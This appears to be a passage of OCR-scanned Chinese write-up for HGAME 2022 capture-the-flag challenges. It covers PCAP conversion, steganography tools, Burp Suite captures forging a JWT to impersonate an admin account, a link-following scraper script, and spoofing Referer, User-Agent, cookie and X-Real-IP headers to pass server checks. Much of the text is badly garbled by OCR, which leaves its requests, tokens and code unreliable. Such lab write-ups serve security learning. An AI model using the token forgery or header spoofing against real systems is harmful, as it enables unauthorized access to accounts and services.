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PCAP)LE.com

The easiest way to convert PcapNG files to PCAP format

In Wireshark 1.8 and later the default file format is Pcap-NC (aka NTAR). This format allows for mare
advanced features than the old libpcan (aka PCAP) formart, such as multiple interface types and annotations.

If vou need to load a PcapNG capture file into a tool that doesn't support the PcapNG format, then vou first
need to convert the capture file to the legacy PCAP format. You can convert from PcapMG to PCAP with
CapLoader or the command line tool editcap, but an even easier solution is to upload vour PcapNG file here.

Metadata available in PcapNG options (operating system, sniffer application, capture filter, frame annotations

etc.) and name resolution blocks (cached hostname /

Convert PcapNG to PCAP

DNS entries) is also extracted and displaved.

— [SELECT PCAPNC FILE TO CONVERT FR
Select file to convert: | BE4 | FERTRE pcapng dump.pcapng
Convert to PCAP
Only first 8.00 MB will be converted
dump.pcap
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& NetwarkMiner 2.7.2 — O X
File Tools Help
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Extract Preview
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Bit Planes

Preview Settings

Apha [J7 [J6 [J5 [J4 I3 2

L o

Red [J7 [06 5 [J4 3 02 1|0
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Include Hex Dump In Preview

Order seltings

Extract By [ Row| (& Column

Bit Order (& MSBFirst ) LSB First

Bit Plane Order
i®) RGB ) GRB
) RBG ) BRG
) GBR ) BGR
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B Decode message: Eifusers/downlode/BE5, (EEEMTE T wav ? >
Media's encoding format : IWJ'WE I o

—Options

Sound guality: 93.?5%|r‘|ormal ;l Advanced |

Decoded message

hitps:/potat0-1308188104.cos.ap-
shanghai.mygcloud.com/MVeek1/5_5_T_ Vwav

CharSet: IUTFS VI B ¥ Encrypted data W Compressed data CoSy cager) i
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Burp Project Intruder Repeater Window Help

[ Dashboard ITarget T Proxy I Intruder TRepeatef T Sequencer I Decoder I Comparer I Extender I Project options I User options

2 x 3asal 4 x| L.
Go Cancel < | > | Target: http://whatadminisdoing _mjclouds.com / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST Alfuser/login HTTR/1 .1 A HTTP/ .1 200 CK A
Host: whatadminisdoingwhat. mjelouds. com r Server: ngink i
Content-Length: 40 Date: Tue, 15 Feb 2022 12:36:06 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4, x64) AppleWebKit/537.36 (KHTNL, like Gecka) Content-Type: application/json; charset=utf-8
Chrome/98.0.4758.82 Safari/537 .36 Caontent-Length: 265
content-type: application/json Connection: close
Accept. ** Access-Control-Allow-Credentials: true
Origin: http:/fadminisdoingwhat. mjclouds.com Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Autharization,
Referer: http:/fadminisdoingwhat. mjclouds. com/ Cookie, token
Accept-Encoding: gzip, deflate Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE, UPDATE
Accept-Language: zh-CN zh;q=0.9 Access-Control-Allow-Origin: http://adminisdoingwhat. mjclouds. com
Connection: close Access-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin,
Access-Control-Allow-Headers, Cache-Control, Content-Language, Content-Type
{"user_name":"fuckfuck”,"passwd": "fuck"} Cache-Control: no-cache
{"code":2000,"message""success","count™0,"data"; i”luken"."ethchiOiJIUZH Ni\slﬂRScC\BIkEX\/C
J9. ey JJRCIEN]Y 3NywivENIckShb WD mdWHNrZnWjay slBob25lljoiliwiRVWThaWwi CiliLCJleHAICE2
NDQSNzEIN)Y slmlzcy Bl THKY 2xvd WRzIn0. 7 N17 pynLzrvgBen1C9_3x5Emit_tLnHhO134TKCwWEBo Y "}]
!
b .
v v
@ { < I { + J I = I Type a searct 0 matches @ { < J I + I I = I Type a search term CSON@SUnighg i

Encoded .

eyJhbGci0iJIUzITNiIsInR5cCI6IkpXVCJY.ey
JJRCI6NjY3NywiVXN1ck5hbWUi0iJmdWNrZnVja
yIsI1Bob251TjoiliwiRW1haWwiOiIilCJleHA1L
0jE2NDQ5NzE3NjYsImlzcyI6Ik1KY2xvdWRzIn®
.7N17pynLzrvgBen1C9_3x5Emrt_tLnHhO134TK
CwBoY

Decoded -

HEADER: ALGORITHM & TOKEN TYPE
{
"alg": "HS256",
“typT: TJWTT
}

PAYLOAD: DATA

"UserName": "fuckfuck",

"Phone”: "",
"Email”: ",
"exp": 1644971766,
"iss": "MJclouds”

VERIFY SIGNATURE

HMACSHA2 56 (
base64UrlEncode(header) + "." +
baseb4UrlEncode(payload),
your-256-bit-secret

) O secret base64 encoded

CSDMN @Sunlight 316



dataf){E B token, HPHLREjwithit & Fadminlk 5

jwtBAMN R R R

IWT HE T7ANEHFB, BigH
iss (issuer): &R A

exp (expiration time): idHirt[A]
sub (subject):

aud (audience): 3£k

nbf (Not Before): A:XkHt|A]

iat (Issued At): ZKIitE

jti (IWT ID): %S

EIDECA1, usernamedCNadmin, #GiEZS, BIRItAiE HadminfKitoken, Bpw] &3



Encoded -

eyJhbGei0iJIUzITNiIsInR5cCI6IkpXVCJ9. ey
JJRCIBMSwiVXN1ck5hbWUi0iJhZG1pbiIsI1Bob
251TjoiTiwiRW1haWwiOiIiLCJ1eHAi0jE2NDQ5
NzI3MDksImlzcyI6IKk1KY2xvdWRzIn@.Jquj65sY
TMbEAwyxKZ3gCAxwETfPUpeBxynzgOIHtxXUw

lssuer (who crested and signed this token)

Decoded oo

HEADER: ALGORITHM & TO}
{
"alg": "HS256",
“typ": "JWT"
l

PAYLOAD: DATA

“Email”: ",
"exp”: 1644972789,
"iss": "MJclouds”

VERIFY SIGNATURE

Raw | Headers | Hex

Raw | Headers | Hex

HMACSHA256 (
base64UrlEncode(header) + "." +
k .11l =y Aol ool 1
ba 1t reede{payltoad)s
—secret—basetrtencoded
CSDMN @Sunlight_316
W Burp Suite Professional v2.0.11beta - Temporary Project - licensed to By Jas502n - O X
Burp Project Intruder Repeater Window Help
[ Dashboard ]'Targel I Proxy ]' Intruder TRepeser T Sequencer ]' Decoder ]' Comparer W’ Extender I Project options I User options
2 x| 3= [ 4.
Go Cancel < |v >|v Target: http://whatadminisdoingwh jclouds.com / ®
Request Response

GET Mwlkadofist HTTRAM 1 &
Host: whatadminisdaingwhat. mjclouds.com r
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4, xB4) Apple\Webkit/537 .36 (KHTML, like Gecko)
Chrome/98.0.4758.82 Safari/537 .36
token:
yJhbGeidulUzIT NilsinRSc CIE Ik pXVCJ9. ey JIRCIEM SwiVXNIckShbWUIDIJhZG 1 philsIBob25joiliwiRWVW
haWwiDiliLCJleHAICEZNDOEMNzI3MDk sImizeyIBIk 1KY 2xvd WR zInD. JquiBs Y TMbE Awy x KZ3g CAxwE
EUpeBxynzgOlHtxxXly
Accept: "™
Crigin: http:/fadminisdoingwhat.mjclouds. com
Referer: http:/fadminisdoingwhat. mjclouds. com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;gq=0.9
Connection: close
-
¥
@ | < I | + I | = I Type a search term 0 matches

HTTRAM .1 200 0K

Server: nginx

Date: Tue, 15 Feb 2022 12:46:18 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 309

Connection: close

Access-Control-Allow-Credentials: true

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization,
Cookie, token

Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE, UPDATE
Access-Control-Allow-Origin: http://adminisdoingwhat. mjclouds.com
Access-Control-Expose-Headers: Content-Length, Access-Control-Allow-Crigin,
Access-Control-Allow-Headers, Cache-Control, Content-Language, Content-Type
X-Cache: MISS

Cache-Contral: no-cache

{"code":2000 "message": "success" "count™1 "data":[{"ID":1,"CreatedAt":"2022-01-18T21.58:53 457 +
08:00","UpdatedAt™: "2022-01-20T22:29:31.955-+08:00","DeletedAt :null,"todo_name":"hgame{S0_y0Ou
_K1nDw_hOw_~JwT_Warks~1I1 IL]nl' Sdescriptio ome

desc" "end_time":"2022-01-18T21:58:53+08:00","status":0,"user_id" 1}]}

® ITI {TI {TI Type a search term

-
b

CSOM@Suniizgng 6.




R K ... IR IR WK I R R
Fi chome 3 YL 84T FFF12— A — A 21 100%, 54748 2l flag

W Burp Suite Professional v2.0.11beta - Temporary Project - licensed to By Jas502n - [m] X

Burp Project Intruder Repeater Window Help

[ Dashboard ITargel I Proxy I Intruder TRepeatef T Sequencer I Decoder I Comparer T Extender I Project options I User options

2 = |3 = [4 = [ B ...

Go Cancel < |+ > | Target: https://hgame-spider.vidar.club /@

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render }
GET & HTTP/.1 200 OK K
1492852261 Pkey=1AsOF 1VTRbEY a9pll 07 uZ)dGoTiS2F ef0gF RmJgxdoPEHA 08 1SeinuMpAi0Tu%2FdEs B Content-Type: text/html; charset=utf-5
QnFmXicDsg231zahUPkYMQ%30%30 HTTPM .1 Caontent-Length: 831
Host: hgame-spider.vidar, club Caonnection: close
Connection: close ¥-Api-Requestld: T6b95T23b4 a4 23017823 6c9dfdf5
sec-ch-ua: " Mot A;Brand";v="39", "Chromium"»="38", "Google Chrome"v="38" K¥-Api-ID: api-BpOhmfst
sec-ch-ua-mobile: 70 AuthOr: asjdf
sec-ch-ua-platform: "Windows" | Fidg: hgame{he028130505befd17 15952099 dbeBhcfebasbs163752a27 c3bfac14e5d7 al1) |
Upgrade-Insecure-Requests: 1 Welcome-To-Hgame: See you next week!
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4, x64) AppleWebkKit/537 .36 (KHTML, like Gecka) ¥-Request-ld: 4303bd0f-3671-454¢-91/6-01d03d=cO5f
Chrome/98.0.4758.82 Safari/537 36 Date: Tue, 15 Feb 2022 12:56:59 GMT
Accept: X¥-Api-FuncMame: helloworld-1642513741
text/html application/xhtml+xml, application/xml; g=0.9 image/avifimage/webp imagefapng ™" q=0.8 ap K-Ap-Appld: 1308188104
plication/signed-exchange;w=hb3;q=0.9 K¥-Api-Seniceld: service-kjbkogayp
Sec-Fetch-Site: same-origin X¥-Api-HttpHost: nil
Sec-Fetch-Mode: navigate X¥-Api-Status: 200
Sec-Fetch-User 71 K¥-Api-UpstreamStatus: 200
Sec-Fetch-Dest: document
Referer: <IDOCTYPE htmf>
https:#hgame-spider.vidar.club/49255226¢1 Pkey=IAsOF 1Y TRb Y a9pllQ7 uZJdGoTiS2FeflgF RmJgxdoP <html>
SHdGBISenuNpAIlTuY2FdEsQnFmXicDsg231zahUPk Y MQ %30 %30 <head>
Accept-Encoding: gzip, deflate <meta charset="UTF-8">
Accept-Language: zh-CN,zh;gq=0.9 <meta name="viswport" content="width=device-width, initial-scale=1.0">
<title> S RFHEAE M <Mitle>
<style type="text/css"> B/
body {

text-align: center;

}
af
hackground-color: #5496ce; » FVidarfi! */
horder: none;
color: white;
padding: 15px 32px;
text-align: center;
text-decoration: none;
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# coding=utf-8
from bs4 import BeautifulSoup
import requests
# EX—FRur LT Flabel i5#Hattr & tH) 5
def getHtml(url, label, attr):
response = requests.get(url)
response.encoding = 'utf-8'
html = response.text
soup = BeautifulSoup(html, "html.parser');
print(soup)
for target in soup.find_all(label):
try:
value
except:

target.get(attr)

value
if value:
return value

if __name__ == '__main__":
result = ""
while True:
url = "https://hgame-spider.vidar.club/83e7510b40"
label = 'a‘
attr = 'href'
payload = result
try:
result = getHtml(url+payload,label,attr)
print(result)
except:
break

& .«

import requests,regex
nextUrl = base = 'https://hgame-spider.vidar.club/xxxx"
while 1:
keys = regex.findall('<a href=\"(\S+)\">A&KiKXiX </a>',requests.get(nextUrl).text)
if len(keys) == @:
break
nextUrl = base + keys[9]
print(nextUrl)
print(requests.get(nextUrl).headers)
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Fujiwara Tofu Shop
BE A& F AR R
B 32 ARP

http % B f)Referer, Refererft) & Bt 2R ™= A1 KK M ITURL, XANE MR A REREXWebi K2 MAt4 PSR o

# User-AgentefsiHachi-Roku, User-Agentigh &% F il Wi a8 4 #%

#cookieliflavor{E 2 & NRaspberry, A4 &flavor, FNTEIR El4U B fset-cookieH flavor=Strawberry;Strawberry & F &8 i B i &5
I EE R BRI,

XAEINYRIMAE 100, IIRHEKFBATER, FMcookie—HEEIREE, i&EMEAGasoline: 0, TMiGasolinest &IKHKERE, FrblAE
1E1% KA B fnGasoline: 1008 ] .

X-Forwarded-Forki %) JLAN k%8, /5 FX-Real-IP:127.0.0. 15t £ 75 K& B
X-Real-IP: 127.0.0.1



5. {RIEA M ip,1LfEimR), ‘A%%ﬁ?ﬁ%ﬁkﬂ[ﬁ%éﬁﬂi%ﬁﬂjﬂﬁ —HAEEINIE IP KZKEBSF X-Forwarded-
For, XBEMEEZERT, ARTFZAMFET, BERKEF2333. XBIERIENIZZIRE Xx-
Real-IP 79 127.0.0.1, |P‘UJL$EI‘PG1§EE%3§§9€ FBXA0ERKLEB X-Forworded-For, X-Real-
IP, X-Client-I1P %, ETFIMERLEENINNIE IP, SSEERNNERE, REES, RSIHIE
ZEMIRSimicE. REISLELH T/SmESE: gin-gonic/gin , HRERIULAREE & gin F
BEAM RIS SRS, TG AEZEwWwWw, (https:/github.com/gin-gonic/gin/issues/1684)

ClientIP() using X-Forwarded-For and X-Real-Ip should be opt-in
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